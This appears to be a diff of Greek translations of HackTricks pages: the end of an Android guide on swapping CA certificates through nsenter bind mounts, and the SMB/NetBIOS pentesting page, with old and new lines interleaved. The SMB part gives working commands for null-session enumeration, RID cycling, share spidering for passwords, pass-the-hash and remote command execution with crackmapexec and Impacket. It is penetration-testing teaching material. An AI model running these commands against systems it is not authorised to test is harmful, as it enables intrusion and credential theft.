2. **Preparing CA Certificates**: Μετά τη ρύθμιση του εγγράψιμου καταλόγου, τα CA certificates που προτίθεστε να χρησιμοποιήσετε πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων certificates από `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμόσετε ανάλογα τα δικαιώματα (permissions) και τις SELinux ετικέτες αυτών των certificates.
3. **Bind Mounting for Zygote**: Χρησιμοποιώντας `nsenter`, εισέρχεστε στο mount namespace του Zygote. Το Zygote, ως η διεργασία υπεύθυνη για την εκκίνηση των Android εφαρμογών, απαιτεί αυτό το βήμα ώστε να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινούν από εδώ και πέρα θα χρησιμοποιούν τα νεοδιαμορφωμένα CA certificates. Η εντολή που χρησιμοποιείται είναι:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Αυτό διασφαλίζει ότι κάθε νέα εφαρμογή που ξεκινάει θα συμμορφώνεται με τη ρύθμιση των ενημερωμένων πιστοποιητικών CA.
Αυτό εξασφαλίζει ότι κάθε νέα εφαρμογή που ξεκινάει θα συμμορφώνεται με τη ενημερωμένη ρύθμιση των πιστοποιητικών CA.
4. **Εφαρμογή Αλλαγών σε Εκτελούμενες Εφαρμογές**: Για να εφαρμόσετε τις αλλαγές σε εφαρμογές που ήδη εκτελούνται, χρησιμοποιείται ξανά το `nsenter` για να μπείτε στο namespace κάθε εφαρμογής ξεχωριστά και να πραγματοποιήσετε ένα παρόμοιο bind mount. Η απαραίτητη εντολή είναι:
4. **Εφαρμογή αλλαγών σε εφαρμογές που τρέχουν**: Για να εφαρμόσετε τις αλλαγές σε ήδη τρέχουσες εφαρμογές, χρησιμοποιείται ξανά το `nsenter` για να εισέλθετε στο namespace κάθε εφαρμογής ξεχωριστά και να εκτελέσετε ένα αντίστοιχο bind mount. Η απαραίτητη εντολή είναι:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternative Approach - Soft Reboot**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1) και στη συνέχεια ένα soft reboot του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθεί κανείς σε κάθε εκτελούμενη app ξεχωριστά. Ωστόσο, αυτή η μέθοδος γενικά προτιμάται λιγότερο λόγω της αναστάτωσης από την επανεκκίνηση.
5. **Εναλλακτική Προσέγγιση - Soft Reboot**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από ένα soft reboot του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθείτε ξεχωριστά σε κάθε running app. Ωστόσο, αυτή η μέθοδος γενικά θεωρείται λιγότερο προτιμητέα λόγω της ταλαιπωρίας του rebooting.
## Αναφορές

View File

@ -2,61 +2,62 @@
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
## **Θύρα 139**
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο να επιτρέπει σε εφαρμογές, PCs και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το δικτυακό hardware και να **διευκολύνει τη μεταφορά δεδομένων στο δίκτυο**. Η αναγνώριση και ο εντοπισμός των εφαρμογών που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνεται μέσω των NetBIOS names τους, τα οποία μπορεί να έχουν μήκος έως 16 χαρακτήρων και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια σύνδεση NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (λειτουργώντας ως client) εκδίδει μια εντολή για να «καλέσει» μια άλλη εφαρμογή (λειτουργώντας ως server) χρησιμοποιώντας **TCP Port 139**.
The _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, PCs, και Desktops εντός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό δικτύου και **να διευκολύνει τη μεταφορά δεδομένων μέσα στο δίκτυο**. Η ταυτοποίηση και ο εντοπισμός των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των NetBIOS ονομάτων τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια NetBIOS συνεδρία μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (που λειτουργεί ως client) εκδίδει μια εντολή για να "call" μια άλλη εφαρμογή (που λειτουργεί ως server) χρησιμοποιώντας **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
## Θύρα 445
Σε τεχνικό επίπεδο, το Port 139 αναφέρεται ως NBT over IP, ενώ το Port 445 ταυτοποιείται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης στη σύγχρονη ορολογία γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου στο επίπεδο εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
Σε τεχνικό επίπεδο, η Port 139 αναφέρεται ως NBT over IP, ενώ η Port 445 ταυτοποιείται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης σύγχρονα γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργήσει απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης του Port 445. Αντιθέτως, σε άλλα συστήματα παρατηρείται η χρήση του Port 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνεργασία με NetBIOS πάνω από TCP/IP.
Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, καταργώντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντιστρόφως, σε άλλα συστήματα παρατηρείται η χρήση της θύρας 139, κάτι που υποδεικνύει ότι το SMB εκτελείται σε συνδυασμό με NetBIOS πάνω από TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Το πρωτόκολλο **Server Message Block (SMB)**, που λειτουργεί σε μοντέλο **client-server**, σχεδιάστηκε για να ρυθμίζει την **πρόσβαση σε αρχεία**, σε καταλόγους και σε άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στα λειτουργικά συστήματα **Windows**, και το SMB διασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού της Microsoft να αλληλεπιδρούν ομαλά με συσκευές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια ελεύθερη υλοποίηση λογισμικού που επιτρέπει την χρήση του SMB σε συστήματα **Linux** και **Unix**, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω SMB.
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για τη ρύθμιση της **πρόσβασης σε αρχεία**, φακέλους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων **Windows**, και το SMB εξασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού της Microsoft να αλληλεπιδρούν απρόσκοπτα με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια ελεύθερη υλοποίηση, επιτρέποντας την εφαρμογή του SMB σε συστήματα **Linux** και **Unix**, διευκολύνοντας έτσι την διαπλατφόρμα επικοινωνία μέσω SMB.
Οι shares, που αντιπροσωπεύουν **αυθαίρετα τμήματα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client σε μέρος **ανεξάρτητο** από την πραγματική δομή του server. Οι **Access Control Lists (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** των δικαιωμάτων των χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, ανάλογα με τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server.
Τα Shares, που αντιπροσωπεύουν **αυθαίρετα τμήματα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client εν μέρει **ανεξάρτητη** από την πραγματική δομή του server. Οι **Access Control Lists (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** επί των δικαιωμάτων χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`**, και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server.
### IPC$ Share
Η πρόσβαση στο IPC$ share μπορεί να αποκτηθεί μέσω μιας ανώνυμης null session, επιτρέποντας αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση:
Η πρόσβαση στο share IPC$ μπορεί να αποκτηθεί μέσω ανώνυμης null session, επιτρέποντας αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση:
- Πληροφορίες για το λειτουργικό σύστημα
- Λεπτομέρειες για το γονικό domain
- Λίστα τοπικών χρηστών και ομάδων
- Πληροφορίες για διαθέσιμα SMB shares
- Η ισχύουσα πολιτική ασφάλειας του συστήματος
- Πληροφοριών για το λειτουργικό σύστημα
- Λεπτομερειών για το γονικό domain
- Κατάλογου τοπικών χρηστών και ομάδων
- Πληροφοριών για διαθέσιμα SMB shares
- Της ισχύουσας πολιτικής ασφάλειας του συστήματος
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας προκειμένου να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, η οποία είναι ουσιώδης για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
Αυτή η λειτουργικότητα είναι κρίσιμη για διαχειριστές δικτύων και ειδικούς ασφάλειας για να αξιολογήσουν τη στάση ασφαλείας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, η οποία είναι ουσιώδης για τον εντοπισμό πιθανών ευπαθειών και για να διασφαλιστεί ότι οι υπηρεσίες SMB είναι κατάλληλα ασφαλισμένες.
```bash
enum4linux -a target_ip
```
Η παραπάνω εντολή είναι ένα παράδειγμα για το πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελέσει πλήρη enumeration εναντίον ενός στόχου που καθορίζεται από το `target_ip`.
Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελεστεί πλήρης αναγνώριση εναντίον ενός στόχου που ορίζεται από το `target_ip`.
## Τι είναι το NTLM
Αν δεν γνωρίζετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το καταχραστείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM**, όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το καταχραστείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Enumeration διακομιστών**
## **Αναγνώριση διακομιστή**
### **Scan** ένα δίκτυο αναζητώντας hosts:
### **Σάρωση** ενός δικτύου αναζητώντας hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB έκδοση διακομιστή
### Έκδοση διακομιστή SMB
Για να εντοπίσετε πιθανά exploits για την έκδοση SMB είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε:
Για να αναζητήσετε πιθανικά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε:
- Χρησιμοποιήστε το **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Χρησιμοποιήστε το βοηθητικό module **MSF** `**auxiliary/scanner/smb/smb_version**`
- Ή αυτό το script:
```bash
#!/bin/sh
@ -79,7 +80,7 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Πιθανές** Credentials
### **Πιθανά** Διαπιστευτήρια
| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
@ -95,9 +96,9 @@ searchsploit microsoft smb
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### SMB Πληροφορίες Περιβάλλοντος
### SMB Environment Information
### Απόκτηση Πληροφοριών
### Λήψη Πληροφοριών
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Απαρίθμηση χρηστών, ομάδων & συνδεδεμένων χρηστών
### Καταγραφή χρηστών, ομάδων & συνδεδεμένων χρηστών
Αυτές οι πληροφορίες θα πρέπει να έχουν ήδη συλλεχθεί από enum4linux και enum4linux-ng
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από enum4linux και enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -139,7 +140,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Εντολή μίας γραμμής
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -149,28 +150,28 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Απαρίθμηση LSARPC και SAMR rpcclient**
### **Ανίχνευση LSARPC και SAMR με rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### GUI σύνδεση από linux
### Σύνδεση GUI από Linux
#### Στο τερματικό:
`xdg-open smb://cascade.htb/`
#### Στο παράθυρο διαχείρισης αρχείων (nautilus, thunar, etc)
#### Στο παράθυρο διαχείρισης αρχείων (nautilus, thunar, κ.λπ)
`smb://friendzone.htb/general/`
## Απαρίθμηση Κοινόχρηστων Φακέλων
## Ανίχνευση Κοινόχρηστων Φακέλων
### Λίστα κοινόχρηστων φακέλων
### Καταγραφή κοινόχρηστων φακέλων
Συνιστάται πάντα να ελέγχετε αν μπορείτε να αποκτήσετε πρόσβαση σε οτιδήποτε. Αν δεν έχετε credentials, δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
Συνιστάται πάντα να ελέγχετε εάν μπορείτε να αποκτήσετε πρόσβαση σε κάτι· αν δεν έχετε credentials δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -184,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Σύνδεση/Εμφάνιση ενός κοινόχρηστου φακέλου**
### **Σύνδεση/Προβολή κοινόχρηστου φακέλου**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -196,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Χειροκίνητη απαρίθμηση windows shares και σύνδεση σε αυτά**
### **Χειροκίνητη καταγραφή των Windows shares και σύνδεση σε αυτά**
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιαδήποτε shares του host machine και όταν προσπαθείτε να τα απαριθμήσετε να φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Συνεπώς αξίζει μια σύντομη προσπάθεια να δοκιμάσετε χειροκίνητα να συνδεθείτε σε ένα share. Για να απαριθμήσετε τα shares χειροκίνητα μπορεί να θέλετε να ψάξετε για αποκρίσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια valid session (e.g. null session or valid credentials). Αυτά μπορεί να υποδηλώσουν εάν το share υπάρχει και δεν έχετε πρόσβαση σε αυτό ή ότι το share δεν υπάρχει καθόλου.
Ενδέχεται να ισχύει ότι σας είναι απαγορευμένο να εμφανίσετε οποιαδήποτε shares του host μηχανήματος και όταν προσπαθείτε να τα απαριθμήσετε φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Επομένως αξίζει να δοκιμάσετε σύντομα να συνδεθείτε χειροκίνητα σε ένα share. Για να απαριθμήσετε τα shares χειροκίνητα ίσως θελήσετε να προσέξετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή valid credentials). Αυτά μπορεί να υποδεικνύουν αν το share υπάρχει αλλά δεν έχετε πρόσβαση ή αν το share δεν υπάρχει καθόλου.
Common share names for windows targets are
@ -211,14 +212,14 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
(Common share names from _**Network Security Assessment 3rd edition**_)
(Κοινά ονόματα shares από _**Network Security Assessment 3rd edition**_)
Μπορείτε να δοκιμάσετε να συνδεθείτε σε αυτά χρησιμοποιώντας την παρακάτω εντολή
Μπορείτε να προσπαθήσετε να συνδεθείτε σε αυτά χρησιμοποιώντας την ακόλουθη εντολή
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
ή αυτό το script (using a null session)
ή αυτό το script (χρησιμοποιώντας μία null session)
```bash
#/bin/bash
@ -240,7 +241,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Καταγραφή κοινοχρήστων σε Windows / χωρίς εργαλεία τρίτων**
### **Απαρίθμηση shares από Windows / χωρίς εργαλεία τρίτων**
PowerShell
```bash
@ -252,23 +253,23 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD κονσόλα
Κονσόλα CMD
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (γραφικό)
MMC Snap-in (γραφικό περιβάλλον)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (γραφικό), πληκτρολογήστε `\\<ip>\` για να δείτε τα διαθέσιμα μη κρυμμένα shares.
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τους διαθέσιμους μη κρυφούς κοινόχρηστους πόρους.
### Προσάρτηση ενός shared folder
### Προσάρτηση ενός κοινόχρηστου φακέλου
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
@ -293,13 +294,13 @@ smbclient //<IP>/<share>
Εντολές:
- mask: καθορίζει τη μάσκα που χρησιμοποιείται για να φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία)
- recurse: εναλλάσσει την αναδρομική λειτουργία (προεπιλογή: απενεργοποιημένη)
- prompt: απενεργοποιεί την προτροπή για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη)
- recurse: ενεργοποιεί/απενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη)
- prompt: ενεργοποιεί/απενεργοποιεί την εμφάνιση προτροπής για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη)
- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον host στη μηχανή client
(_Πληροφορίες από το manpage του smbclient_)
### Αναζήτηση Κοινόχρηστων Φακέλων του Domain
### Αναζήτηση Κοινόχρηστων Φακέλων Domain
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -311,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Ιδιαίτερα ενδιαφέροντα από τα shares είναι τα αρχεία με όνομα **`Registry.xml`** καθώς μπορεί να περιέχουν **passwords** για χρήστες ρυθμισμένους με **autologon** μέσω Group Policy. Επίσης τα αρχεία **`web.config`** καθώς περιέχουν **credentials**.
Ειδικά ενδιαφέροντα από shares είναι τα αρχεία με όνομα **`Registry.xml`**, καθώς αυτά **ενδέχεται να περιέχουν passwords** για χρήστες ρυθμισμένους με **autologon** μέσω Group Policy. Επίσης τα αρχεία **`web.config`**, καθώς περιέχουν credentials.
> [!TIP]
> Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους επαληθευμένους χρήστες στο domain. Εκεί μπορείς να βρεις πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\
> Πρέπει να ελέγξεις τα **scripts** μέσα σε αυτό καθώς μπορείς να βρεις ευαίσθητες πληροφορίες όπως **passwords**.
> Το **SYSVOL share** είναι **readable** από όλους τους authenticated users στο domain. Εκεί μπορεί να **βρείτε** πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\
> Θα πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **passwords**.
## Ανάγνωση Registry
Μπορεί να μπορείτε να **διαβάσετε το registry** χρησιμοποιώντας κάποια εντοπισμένα credentials. Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε:
Μπορεί να είστε σε θέση να **διαβάσετε το registry** χρησιμοποιώντας κάποια ανακαλυφθέντα credentials. Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Η **προεπιλεγμένη διαμόρφωση του** **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει μερικές **επικίνδυνες ρυθμίσεις**:
Η **προεπιλεγμένη ρύθμιση** ενός **Samba** διακομιστή βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να περιέχει κάποιες **επικίνδυνες ρυθμίσεις**:
| **Ρύθμιση** | **Περιγραφή** |
| **Ρύθμιση** | **Περιγραφή** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Επιτρέπει την εμφάνιση των διαθέσιμων shares; |
| `read only = no` | Απαγορεύει τη δημιουργία και τροποποίηση αρχείων; |
| `writable = yes` | Επιτρέπει στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού; |
| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού πρόσβασης; |
| `enable privileges = yes` | Τηρεί τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID; |
| `create mask = 0777` | Ποιες άδειες πρέπει να ανατίθενται σε νεοδημιουργημένα αρχεία; |
| `directory mask = 0777` | Ποιες άδειες πρέπει να ανατίθενται σε νεοδημιουργημένους καταλόγους;|
| `logon script = script.sh` | Ποιο script πρέπει να εκτελείται κατά το login του χρήστη; |
| `magic script = script.sh` | Ποιο script πρέπει να εκτελείται όταν το script κλείνει; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του magic script; |
| `create mask = 0777` | Ποιες άδειες πρέπει να δοθούν στα νεοδημιουργημένα αρχεία; |
| `directory mask = 0777` | Ποιες άδειες πρέπει να δοθούν στους νεοδημιουργημένους καταλόγους; |
| `logon script = script.sh` | Ποιο script πρέπει να εκτελείται κατά την είσοδο του χρήστη; |
| `magic script = script.sh` | Ποιο script πρέπει να εκτελείται όταν το script κλείνει; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του magic script; |
Η εντολή `smbstatus` δίνει πληροφορίες για τον **εξυπηρετητή** και για το **ποιος είναι συνδεδεμένος**.
Η εντολή `smbstatus` παρέχει πληροφορίες για τον **διακομιστή** και για το **ποιος είναι συνδεδεμένος**.
## Authenticate using Kerberos
Μπορείτε να **αυθεντικοποιηθείτε** στο **kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
Μπορείτε να **αυθεντικοποιηθείτε** στο **Kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec μπορεί να εκτελέσει εντολές **εκμεταλλευόμενο** οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, όπου **wmiexec** είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσει με την παράμετρο `--exec-method`:
crackmapexec μπορεί να εκτελέσει εντολές εκμεταλλευόμενο οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
```bash
apt-get install crackmapexec
@ -379,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
